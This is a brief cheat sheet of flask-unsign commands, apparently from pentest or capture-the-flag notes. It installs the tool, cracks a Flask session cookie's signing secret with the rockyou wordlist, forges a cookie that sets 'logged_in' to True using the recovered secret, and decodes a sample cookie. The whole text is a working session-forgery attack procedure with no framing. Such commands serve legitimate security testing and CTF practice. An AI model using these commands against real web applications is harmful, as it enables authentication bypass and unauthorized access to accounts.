#Install
python3 -m pip install flask-unsign
#Bruteforce
flask-unsign --unsign --wordlist /opt/Word/rockyou.txt --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.YC3LNQ.FFSktKrb7dP2Ui2t8Y6y-L1s5J8' --no-literal-eval
#Sign
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'secret123'
#Decode
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.YC3LNQ.FFSktKrb7dP2Ui2t8Y6y-L1s5J8'